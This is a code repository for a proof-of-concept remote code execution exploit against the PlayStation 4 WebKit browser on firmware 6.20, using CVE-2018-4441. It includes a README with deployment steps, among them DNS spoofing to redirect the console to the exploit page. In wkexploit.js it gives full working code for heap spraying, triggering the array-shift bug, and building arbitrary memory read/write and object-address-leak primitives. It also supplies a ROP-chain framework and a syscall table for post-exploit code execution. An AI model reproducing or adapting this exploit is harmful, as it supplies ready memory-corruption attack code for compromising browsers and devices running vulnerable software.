├── LICENSE ├── README.md ├── index.html ├── rop.js ├── syscalls.js └── wkexploit.js /LICENSE: -------------------------------------------------------------------------------- 1 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 2 | Version 2, December 2004 3 | 4 | Copyright (C) 2004 Sam Hocevar 5 | 6 | Everyone is permitted to copy and distribute verbatim or modified 7 | copies of this license document, and changing it is allowed as long 8 | as the name is changed. 9 | 10 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 11 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 12 | 13 | 0. You just DO WHAT THE FUCK YOU WANT TO. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | PS4 6.20 WebKit Code Execution PoC 2 | ============== 3 | 4 | This repo contains a proof-of-concept (PoC) RCE exploit targeting the PlayStation 4 on firmware 6.20 leveraging CVE-2018-4441. The exploit first establishes an arbitrary read/write primitive as well as an arbitrary object address leak in `wkexploit.js`. It will then setup a framework to run ROP chains in `index.html` and by default will provide two hyperlinks to run test ROP chains - one for running the `sys_getpid()` syscall, and the other for running the `sys_getuid()` syscall to get the PID and user ID of the process respectively. 5 | 6 | Each file contains a comment at the top giving a brief explanation of what the file contains and how the exploit works. Credit for the bug discovery is to lokihardt from Google Project Zero (p0). The bug report can be found [here](https://bugs.chromium.org/p/project-zero/issues/detail?id=1685&desc=2). 7 | 8 | Note: It's been patched in the 6.50 firmware update. 9 | 10 | 11 | 12 | Files 13 | ============== 14 | 15 | Files in order by name alphabetically; 16 | 17 | * `index.html` - Contains post-exploit code, going from arb. R/W -> code execution. 18 | * `rop.js` - Contains a framework for ROP chains. 19 | * `syscalls.js` - Contains an (incomplete) list of system calls to use for post-exploit stuff. 20 | * `wkexploit.js` - Contains the heart of the WebKit exploit. 21 | 22 | 23 | 24 | Notes 25 | ============== 26 | 27 | * This vulnerability was patched in 6.50 firmware! 28 | * This only gives you code execution in **userland**. This is **not** a jailbreak nor a kernel exploit, it is only the first half. 29 | * This exploit targets firmware 6.20. It should work on lower firmwares however the gadgets will need to be ported, and the `p.launchchain()` method for code execution may need to be swapped out. 30 | * In my tests the exploit as-is is pretty stable, but it can become less stable if you add a lot of objects and such into the exploit. This is part of the reason why `syscalls.js` contains only a small number of system calls. 31 | 32 | 33 | 34 | Usage 35 | ============== 36 | 37 | Setup a web-server hosting these files on localhost using xampp or any other program of your choosing. Additionally, you could host it on a server. You can access it on the PS4 by either; 38 | 39 | 1) Fake DNS spoofing to redirect the manual page to the exploit page, or 40 | 41 | 2) Using the web browser to navigate to the exploit page (not always possible). 42 | 43 | 44 | 45 | Vulnerability Credit 46 | ============== 47 | 48 | I wrote the exploit however I did not find the vulnerability, as mentioned above the bug (CVE-2018-4441) was found by lokihardt from Google Project Zero (p0) and was disclosed via the Chromium public bug tracker. 49 | 50 | 51 | 52 | Resources 53 | ============== 54 | 55 | [Chromium Bug Report](https://bugs.chromium.org/p/project-zero/issues/detail?id=1685&desc=2) - The vulnerability. 56 | 57 | [Phrack: Attacking JavaScript Engines by saelo](http://www.phrack.org/papers/attacking_javascript_engines.html) - A life saver. Exploiting this would have been about 1500x more difficult without this divine paper. 58 | 59 | 60 | 61 | Thanks 62 | ============== 63 | 64 | lokihardt - The vulnerability 65 | 66 | st4rk - Help with the exploit 67 | 68 | qwertyoruiop - WebKit School 69 | 70 | saelo - Phrack paper 71 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 23 | 24 | 25 | 26 | PS4 6.20 WebKit Exploit 27 | 28 | 29 | 30 | 31 | 41 | 42 | 43 | 401 |
402 |

403 | 404 | 405 | This exploit targets firmware 6.20 but should also work on lower firmwares when gadgets are ported.
406 | by Specter
407 |
408 |

409 | 
410 | 
411 | 


--------------------------------------------------------------------------------
/rop.js:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * PS4 WebKit Exploit 6.20
 3 |  * By Specter (@SpecterDev)
 4 |  * -
 5 |  * This file contains a framework for running ROP chains. You likely won't need to edit anything here
 6 |  * unless you need to switch gadgets out for new ones.
 7 |  */
 8 | 
 9 | var rop = function() {
10 | 	this.stack  = p.malloc(0x5000);
11 | 	this.retbuf = p.malloc(0x8);
12 | 	this.count  = 1;
13 | 
14 | 	p.write8(this.stack, 0x1337);
15 | 
16 | 	this.clear = function() {
17 | 		this.count = 1;
18 | 
19 | 		for(var i = 1; i < 0xFF0 / 2; i++)
20 | 			p.write8(this.stack.add32(i * 8), 0);
21 | 	};
22 | 
23 | 	this.push = function(val) {
24 | 		p.write8(this.stack.add32(this.count * 8), val);
25 | 		this.count++;
26 | 	};
27 | 
28 | 	this.push_write8 = function(addr, val) {
29 | 		this.push(gadgets["pop rdi"]);
30 | 		this.push(addr);
31 | 		this.push(gadgets["pop rsi"]);
32 | 		this.push(val);
33 | 		this.push(gadgets["mov [rdi], rsi"]);
34 | 	};
35 | 
36 | 	this.fcall = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
37 | 		if(rdi != undefined)
38 | 		{
39 | 			this.push(gadgets["pop rdi"]);
40 | 			this.push(rdi);
41 | 		}
42 | 
43 | 		if(rsi != undefined)
44 | 		{
45 | 			this.push(gadgets["pop rsi"]);
46 | 			this.push(rsi);
47 | 		}
48 | 
49 | 		if(rdx != undefined)
50 | 		{
51 | 			this.push(gadgets["pop rdx"]);
52 | 			this.push(rdx);
53 | 		}
54 | 
55 | 		if(rcx != undefined)
56 | 		{
57 | 			this.push(gadgets["pop rcx"]);
58 | 			this.push(rcx);
59 | 		}
60 | 
61 | 		if(r8 != undefined)
62 | 		{
63 | 			this.push(gadgets["pop r8"]);
64 | 			this.push(r8);
65 | 		}
66 | 
67 | 		if(r9 != undefined)
68 | 		{
69 | 			this.push(gadgets["pop r9"]);
70 | 			this.push(r9);
71 | 		}
72 | 
73 | 		this.push(rip);
74 | 		return this;
75 | 	};
76 | 
77 | 	this.run = function() {
78 | 		var retv = p.launchchain(this);
79 | 		this.clear();
80 | 
81 | 		return retv;
82 | 	};
83 | 
84 | 	return this;
85 | };
86 | 


--------------------------------------------------------------------------------
/syscalls.js:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * PS4 WebKit Exploit 6.20
 3 |  * By Specter (@SpecterDev)
 4 |  * -
 5 |  * This file contains an (incomplete) list of system calls for post-exploit stuff. A lot
 6 |  * of syscalls are missing so feel free to add ones you need. I didn't include a more complete
 7 |  * list like I have with previous firmwares because having too many seemed to affect exploit
 8 |  * stability.
 9 |  */
10 | 
11 | window.nameforsyscall = swapkeyval(window.syscallnames);
12 | 
13 | function swapkeyval(json){
14 |     var ret = {};
15 | 
16 |     for(var key in json){
17 |         if (json.hasOwnProperty(key)) {
18 |             ret[json[key]] = key;
19 |         }
20 |     }
21 | 
22 |     return ret;
23 | }
24 | 
25 | /* A long ass map of system call names -> number, you shouldn't need to touch this */
26 | window.syscallnames =
27 | {
28 |     "sys_exit": 1,
29 |     "sys_fork": 2,
30 |     "sys_read": 3,
31 |     "sys_write": 4,
32 |     "sys_open": 5,
33 |     "sys_close": 6,
34 |     "sys_wait4": 7,
35 |     "sys_unlink": 10,
36 |     "sys_chdir": 12,
37 |     "sys_chmod": 15,
38 |     "sys_getpid": 20,
39 |     "sys_setuid": 23,
40 |     "sys_getuid": 24,
41 | 
42 |     "sys_stat": 38,
43 | 
44 |     "sys_pipe": 42,
45 | 
46 |     "sys_getgid": 47,
47 |     "sys_getlogin": 49,
48 |     "sys_setlogin": 50,
49 | 
50 |     "sys_ioctl": 54,
51 | 
52 |     "sys_munmap": 73,
53 | 
54 |     "sys_socket": 97,
55 |     "sys_connect": 98,
56 | 
57 |     "sys_send": 101,
58 |     "sys_recv": 102,
59 |     "sys_bind": 104,
60 |     "sys_setsockopt": 105,
61 |     "sys_listen": 106,
62 |     "sys_recvmsg": 113,
63 |     "sys_sendmsg": 114,
64 | 
65 |     "sys_mkdir": 136,
66 |     "sys_rmdir": 137,
67 | 
68 |     "sys_fstat": 189,
69 |     "sys_lstat": 190,
70 | 
71 |     "sys_getdents": 272,
72 | 
73 |     "sys_mmap": 477,
74 |     "sys_lseek": 478,
75 | };
76 | 


--------------------------------------------------------------------------------
/wkexploit.js:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * PS4 WebKit Exploit 6.20
  3 |  * By Specter (@SpecterDev)
  4 |  * -
  5 |  * This file contains implementation for a JavaScriptCore (JSC) exploit targetting the
  6 |  * PlayStation 4 on 6.20 firmware. The functions in this file specifically craft arbitrary
  7 |  * memory read/write primitives, which are used to get code execution in index.html. This
  8 |  * part of the exploit should be portable to lower firmwares with little to no changes.
  9 |  * -
 10 |  * A brief overview of the vulnerability...
 11 |  * 
 12 |  * The exploit leverages CVE-2018-4441, a bug JSArray::shiftCountWithArrayStorage found by
 13 |  * lokihardt. Due to flawed logic, essentially the bug allows us to shift an arbitrary amount
 14 |  * of QWORDS (64-bit integers) down by 8 bytes. Via some heap feng shui with setting up target
 15 |  * butterflies, this eventually results in an ArrayWithDoubles object with a very large size,
 16 |  * allowing us to write out-of-bounds of the array. Using this, we can write into an
 17 |  * ArrayWithContiguous (array of objects) to inject fake JavaScript objects and leak the address
 18 |  * of real JavaScript objects by causing type confusion in the inline slots.
 19 |  *
 20 |  * With the ability to craft fake objects that JSC thinks are real ones, we can create our own arrays
 21 |  * and modify where they point to internally, giving us an arbitrary read/write. With the ability to
 22 |  * leak the address of real objects, we can effectively locate any object we want to in memory for
 23 |  * code execution.
 24 |  */
 25 | var structs = [];
 26 | 
 27 | function zeroFill(number, width)
 28 | {
 29 |     width -= number.toString().length;
 30 | 
 31 |     if (width > 0)
 32 |     {
 33 |         return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
 34 |     }
 35 | 
 36 |     return number + ""; // always return a string
 37 | }
 38 | 
 39 | try
 40 | {
 41 |     // May need configuration depending on system? Left it as a variable just in case
 42 |     var sprayMax = 0x400;
 43 | 
 44 |     // Internal objects for u2d and d2u
 45 |     var conversionBuf = new ArrayBuffer(0x100);
 46 |     var u32 = new Uint32Array(conversionBuf);
 47 |     var f64 = new Float64Array(conversionBuf);
 48 | 
 49 |     // Helper for managing 64-bit values
 50 |     function int64(low, hi) {
 51 |         this.low = (low >>> 0);
 52 |         this.hi = (hi >>> 0);
 53 | 
 54 |         this.add32inplace = function (val) {
 55 |             var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
 56 |             var new_hi = (this.hi >>> 0);
 57 | 
 58 |             if (new_lo < this.low) {
 59 |                 new_hi++;
 60 |             }
 61 | 
 62 |             this.hi = new_hi;
 63 |             this.low = new_lo;
 64 |         }
 65 | 
 66 |         this.add32 = function (val) {
 67 |             var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
 68 |             var new_hi = (this.hi >>> 0);
 69 | 
 70 |             if (new_lo < this.low) {
 71 |                 new_hi++;
 72 |             }
 73 | 
 74 |             return new int64(new_lo, new_hi);
 75 |         }
 76 | 
 77 |         this.sub32 = function (val) {
 78 |             var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
 79 |             var new_hi = (this.hi >>> 0);
 80 | 
 81 |             if (new_lo > (this.low) & 0xFFFFFFFF) {
 82 |                 new_hi--;
 83 |             }
 84 | 
 85 |             return new int64(new_lo, new_hi);
 86 |         }
 87 | 
 88 |         this.sub32inplace = function (val) {
 89 |             var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
 90 |             var new_hi = (this.hi >>> 0);
 91 | 
 92 |             if (new_lo > (this.low) & 0xFFFFFFFF) {
 93 |                 new_hi--;
 94 |             }
 95 | 
 96 |             this.hi = new_hi;
 97 |             this.low = new_lo;
 98 |         }
 99 | 
100 |         this.and32 = function (val) {
101 |             var new_lo = this.low & val;
102 |             var new_hi = this.hi;
103 |             return new int64(new_lo, new_hi);
104 |         }
105 | 
106 |         this.and64 = function (vallo, valhi) {
107 |             var new_lo = this.low & vallo;
108 |             var new_hi = this.hi & valhi;
109 |             return new int64(new_lo, new_hi);
110 |         }
111 | 
112 |         this.toString = function (val) {
113 |             val = 16;
114 |             var lo_str = (this.low >>> 0).toString(val);
115 |             var hi_str = (this.hi >>> 0).toString(val);
116 | 
117 |             if (this.hi == 0)
118 |                 return lo_str;
119 |             else
120 |                 lo_str = zeroFill(lo_str, 8)
121 | 
122 |             return hi_str + lo_str;
123 |         }
124 | 
125 |         this.toPacked = function () {
126 |             return {
127 |                 hi: this.hi,
128 |                 low: this.low
129 |             };
130 |         }
131 | 
132 |         this.setPacked = function (pck) {
133 |             this.hi = pck.hi;
134 |             this.low = pck.low;
135 |             return this;
136 |         }
137 | 
138 |         return this;
139 |     }
140 | 
141 |     // Helper for converting doubles <-> uint64's
142 |     function u2d(low, hi)
143 |     {
144 |         u32[0] = low;
145 |         u32[1] = hi;
146 | 
147 |         return f64[0];
148 |     }
149 | 
150 |     function d2u(val)
151 |     {
152 |         f64[0] = val;
153 | 
154 |         var retval = new int64(u32[0], u32[1]);
155 | 
156 |         return retval;
157 |     }
158 | 
159 |     function main()
160 |     {
161 |         document.getElementById("go").style.display = 'none';
162 | 
163 |         debug("---------- Phase 1: Obtaining Relative R/W Primitive ----------");
164 | 
165 |         // Setup the corrupted arr for OOB write
166 |         //debug("[*] Setting up the attack array...");
167 | 
168 |         var arr = [1];
169 | 
170 |         arr.length = 0x100000;
171 |         arr.splice(0, 0x11);
172 | 
173 |         arr.length = 0xfffffff0;
174 | 
175 |         // Spray some target butterflies in CopiedSpace
176 |         //debug("[*] Spraying target objects on the heap...");
177 | 
178 |         var targetButterflies = [];
179 | 
180 |         for (var i = 0; i < sprayMax; i++)
181 |         {
182 |             targetButterflies[i] = [];
183 | 
184 |             targetButterflies[i].p0 = 0.0;
185 |             targetButterflies[i].p1 = 0.1;
186 |             targetButterflies[i].p2 = 0.2;
187 |             targetButterflies[i].p3 = 0.3;
188 |             targetButterflies[i].p4 = 0.4;
189 |             targetButterflies[i].p5 = 0.5;
190 |             targetButterflies[i].p6 = 0.6;
191 |             targetButterflies[i].p7 = 0.7;
192 |             targetButterflies[i].p8 = 0.8;
193 |             targetButterflies[i].p9 = 0.9;
194 | 
195 |             for (var k = 0; k < 0x10; k++)
196 |             {
197 |                 // We want to smash the length of the array to the max possible value
198 |                 targetButterflies[i][k] = u2d(0x7FFFFFFF, 0x7FEFFFFF);
199 |             }
200 |         }
201 | 
202 |         //debug("[*] Triggering memory corruption....");
203 | 
204 |         // Trigger shift of memory contents to cause OOB write on a sprayed array
205 |         arr.splice(0x1000, 0x0, 1);
206 | 
207 |         var targetIdx = -1;
208 | 
209 |         //debug("[*] Finding corrupted ArrayWithDouble for rel R/W...");
210 | 
211 |         for (var i = 0; i < sprayMax; i++)
212 |         {
213 |             if (targetButterflies[i].length != 0x10)
214 |             {
215 |                 //debug("[*] Found smashed butterfly!");
216 |                 //debug("|   [+] Index: 0x" + i.toString(16));
217 |                 //debug("|   [+] Length: 0x" + targetButterflies[i].length.toString(16));
218 | 
219 |                 targetIdx = i;
220 |                 break;
221 |             }
222 |         }
223 | 
224 |         if (targetIdx == -1)
225 |         {
226 |             alert("[-] Failed to find smashed butterfly.");
227 |             return;
228 |         }
229 | 
230 |         // We now have an ArrayWithDoubles that can r/w OOB
231 |         var oobDoubleArr = targetButterflies[targetIdx];
232 | 
233 |         debug("---------- Phase 2: Obtaining Arbitrary R/W Primitive ----------");
234 | 
235 |         // Spray some objects to use for arb. R/W primitive
236 |         //debug("[*] Spraying ArrayWithContiguous objects...");
237 | 
238 |         var primitiveSpray = [];
239 | 
240 |         for (var i = 0; i < 0x800; i++)
241 |         {
242 |             primitiveSpray[i] = [];
243 | 
244 |             for (var k = 0; k < 0x10; k++)
245 |             {
246 |                 primitiveSpray[i].p0 = u2d(0x13371337, 0x0);
247 |                 primitiveSpray[i].p1 = u2d(0x13371337, 0x0);
248 |                 primitiveSpray[i].p2 = u2d(0x13371337, 0x0);
249 |                 primitiveSpray[i].p3 = u2d(0x13371337, 0x0);
250 |                 primitiveSpray[i].p4 = u2d(0x13371337, 0x0);
251 |                 primitiveSpray[i].p5 = u2d(0x13371337, 0x0);
252 |                 primitiveSpray[i].p6 = u2d(0x13371337, 0x0);
253 |                 primitiveSpray[i].p7 = u2d(0x13371337, 0x0);
254 |                 primitiveSpray[i].p8 = u2d(0x13371337, 0x0);
255 |                 primitiveSpray[i].p9 = u2d(0x13371337, 0x0);
256 | 
257 |                 if(k == 0)
258 |                     primitiveSpray[i][k] = 13.37;
259 |                 else
260 |                     primitiveSpray[i][k] = {};
261 |             }
262 |         }
263 | 
264 |         //debug("[*] Finding potential primitive...");
265 | 
266 |         var leakAndFakePrimIdx   = -1;
267 |         var leakAndFakeDoubleIdx = -1;
268 |         var foundPrimitive = false;
269 | 
270 |         for (var i = 0; i < 0x5000; i++)
271 |         {
272 |             var lookupIdx = 0x65000 + i;
273 |             var oldVal    = oobDoubleArr[lookupIdx];
274 | 
275 |             if (oldVal == undefined)
276 |                 continue;
277 | 
278 |             oobDoubleArr[lookupIdx] = u2d(0x00001337, 0x0);
279 | 
280 |             for (var k = 0; k < 0x800; k++)
281 |             {
282 |                 if(primitiveSpray[k].length != 0x10)
283 |                 {
284 |                     //debug("[*] Found a primitive!")
285 |                     //debug("|   [+] Primitive Index: 0x" + k.toString(16));
286 |                     //debug("|   [+] Double Index: 0x" + lookupIdx.toString(16));
287 |                     //debug("|   [+] Length: 0x" + primitiveSpray[k].length.toString(16));
288 | 
289 |                     foundPrimitive       = true;
290 |                     leakAndFakePrimIdx   = k;
291 |                     leakAndFakeDoubleIdx = lookupIdx;
292 | 
293 |                     oobDoubleArr[lookupIdx] = oldVal;
294 | 
295 |                     for(var test = 0; test < 0x10; test++)
296 |                     {
297 |                         f64[0] = oobDoubleArr[lookupIdx+test];
298 |                     }
299 | 
300 |                     break;
301 |                 }
302 |             }
303 | 
304 |             if(foundPrimitive)
305 |                 break;
306 | 
307 |             oobDoubleArr[lookupIdx] = oldVal;
308 |         }
309 | 
310 |         var slave = new Uint32Array(0x1000);
311 | 
312 |         slave[0] = 0x13371337;
313 | 
314 |         // First, leak the address of an array we'll use later for leaking arbitrary JSValues
315 |         //debug("[*] Leaking address of array for leak primitive...");
316 | 
317 |         var leakTgt = {a: 0, b: 0, c: 0, d: 0};
318 |         leakTgt.a   = slave;
319 | 
320 |         primitiveSpray[leakAndFakePrimIdx][1] = leakTgt;
321 | 
322 |         var leakTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2];
323 |         var leakTargetAddrInt64 = d2u(leakTargetAddr);
324 | 
325 |         // Second, leak the address of an array we'll use for faking an ArrayBufferView via inline properties
326 |         //debug("[*] Leaking address of fake ArrayBufferView for R/W primitive...");
327 | 
328 |         // Spray arrays for structure id
329 |         for (var i = 0; i < 0x100; i++)
330 |         {
331 |             var a = new Uint32Array(1);
332 |             a[Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5)] = 1337;
333 |             structs.push(a);
334 |         }
335 | 
336 |         var rwTgt = {a: 0, b: 0, c: 0, d: 0};
337 | 
338 |         rwTgt.a   = u2d(0x00000200, 0x1602300);
339 |         rwTgt.b   = 0;
340 |         rwTgt.c   = slave;
341 |         rwTgt.d   = 0x1337;
342 | 
343 |         primitiveSpray[leakAndFakePrimIdx][1] = rwTgt;
344 | 
345 |         var rwTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2];
346 |         var rwTargetAddrInt64 = d2u(rwTargetAddr);
347 | 
348 |         //debug("|   [+] R/W Target Address: 0x" + rwTargetAddrInt64.toString(16));
349 | 
350 |         // Address + 0x10 = inline storage, so it will be the address of our fake ArrayBufferView
351 |         rwTargetAddrInt64 = rwTargetAddrInt64.add32(0x10);
352 | 
353 |         // Write this fake object address into oobDoubleArr[leakAndFakeDoubleIdx+2] to retrieve the handle via primitiveSpray
354 |         oobDoubleArr[leakAndFakeDoubleIdx+2] = u2d(rwTargetAddrInt64.low, rwTargetAddrInt64.hi);
355 | 
356 |         var master = primitiveSpray[leakAndFakePrimIdx][1];
357 | 
358 |         var addrOfSlave = new int64(master[4], master[5]);
359 | 
360 |         //debug("[*] Setting up primitive functions...");
361 | 
362 |         var prim = {
363 |             // Read 64 bits
364 |             read8: function(addr)
365 |             {
366 |                 master[4] = addr.low;
367 |                 master[5] = addr.hi;
368 | 
369 |                 var retval = new int64(slave[0], slave[1]);
370 | 
371 |                 return retval;
372 |             },
373 | 
374 |             // Read 32 bits
375 |             read4: function(addr)
376 |             {
377 |                 master[4] = addr.low;
378 |                 master[5] = addr.hi;
379 | 
380 |                 var retval = new int64(slave[0], 0);
381 | 
382 |                 return retval;
383 |             },
384 | 
385 |             // Write 64 bits
386 |             write8: function(addr, val)
387 |             {
388 |                 master[4] = addr.low;
389 |                 master[5] = addr.hi;
390 | 
391 |                 if (val instanceof int64) {
392 |                     slave[0] = val.low;
393 |                     slave[1] = val.hi;
394 |                 } else {
395 |                     slave[0] = val;
396 |                     slave[1] = 0;
397 |                 }
398 |             },
399 | 
400 |             // Write 32 bits
401 |             write4: function(addr, val)
402 |             {
403 |                 master[4] = addr.low;
404 |                 master[5] = addr.hi;
405 | 
406 |                 slave[0]  = val;
407 |             },
408 | 
409 |             // Leak an object virtual address
410 |             leakval: function(jsval)
411 |             {
412 |                 leakTgt.a = jsval;
413 | 
414 |                 return prim.read8(leakTargetAddrInt64.add32(0x10));
415 |             }
416 |         };
417 | 
418 |         window.postExploit(prim);
419 |     }
420 | } catch (e) { alert(e); }
421 | 


--------------------------------------------------------------------------------